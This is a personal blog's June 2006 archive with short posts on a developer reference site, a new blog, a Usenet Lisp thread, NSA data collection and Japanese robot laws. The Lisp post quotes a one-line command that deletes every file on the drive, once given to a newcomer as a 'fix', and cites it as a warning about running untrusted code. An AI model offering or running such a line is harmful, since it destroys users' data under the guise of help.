Archive for Lipanj, 2006

Another Short One…

Lipanj 21, 2006

I'm not really that much into writing these days, because I have my final high-school exams to prepare for Friday (keep your fingers crossed :)), but here's an interesting and extremely useful link found on Dado's blog.

It's a brillant reference service which offers references for many different languages (HTML, JavaScript DOM, CSS, PHP, My/PostgreSQL, RoR, Perl etc. – Python coming soon! :)), and it allows you to add and remove available references as you wish. It also has a cool search feature, and it's probably the dream of every developer :). I ran into something similar few months ago, but it was limited to a few languages (HTML, PHP, MySQL and CSS, if I remember correctly) and it didn't have any customization options.

So, here's the link: gotAPI.com. Enjoy!

Extra, Extra!

Lipanj 18, 2006

My Croatian-speaking visitors may be interested in a new blog I started, Homo Ludens. This doesn't mean I'll neglect this one, as I'll be posting regularly (or at least as often as I can) on both blogs.  

Mommy…

Lipanj 15, 2006

…I want this for Christmas. And no, I really don't need the larger versions mom, I know you're short on cash!

As seen on Wolfwood's Crowd. Sick, but I wouldn't mind owning one of 'em :).

Think Twice Before Pressing Enter

Lipanj 14, 2006

I just ran into this while surfing around on Reddit, ironically titled "Why is Lisp unpopular? Maybe it's a "community" like this." It's an article from a Usenet discussion on comp.lang.lisp newsgroup.

In short, the guy (BobF) asks a question about clearing the Lisp environment without restarting. He gets an answer from Pascal with an error in it, so BobF posts the info about the error. Then, Pascal sends an "improved" version of the code, including a line which would delete the whole hard drive ((mapcar (lambda (x) (ignore-errors (delete-file x))) (directory "/**/*.*"))). Of course, Pascal's intensions were actually noble and caring, because he just wanted to learn the poor guy to read and understand the code he is presented to. Right. It seems he fixed the error in the second version, though.

Now, think twice before copy/pasting some code from an unknown person off the 'net. Or at least grep it for "rm" and "del" before running it :).

Posted under "Education" intentionally ;-).

Privacy on the Internet – NSA to Collect Data from Social Networking Websites

Lipanj 10, 2006

I've just read a story on Slashdot (well, its "unofficial digest", AlterSlash, to be more exact) about NSA and their funding of the research into harvesting of the information on social networking websites, written like it's some great, revolutionary discovery.

Just think about it a bit. Everyone has access to the information you publish on a social networking website – it's the whole point of a social networking web site. Why shouldn't the NSA have it, too – it's their job, after all? They'll just add the information they collect on those websites right next to your phone calls, bank transfers, health charts, grocery bills and many other things they already have about you. What's the big deal? You choose to publish the information freely on the 'net, it's your fault if they use it against you.

I'm not really using it actively because I rarely send any confidential information over the Internet, so I'm probably the last person who should be giving this kind of advice, but if you publish / send any sensitive information on the Internet and you don't want it to be publically available – use GPG or some other cryptography methods. It's not that hard – there is a great chance that there's a plug-in for your favorite e-mail client available – and it's secure.

I'm all for privacy and I believe that every person should have its own share of it, but if you publish something on a public website, make sure it's something you won't mind the whole world to read. It's public, after all. I am more worried about them collecting information which should be private.

Are We Afraid?

Lipanj 1, 2006

It looks like the science-fiction "robots harm people" stories are starting to worry Japanese scientists and government officials: Japan creates Asimov-like robotic laws, in a story published on Physorg. So, in future, in addition to watching out for violent people, we'll probably have to watch out for violent robots as well. Wacky.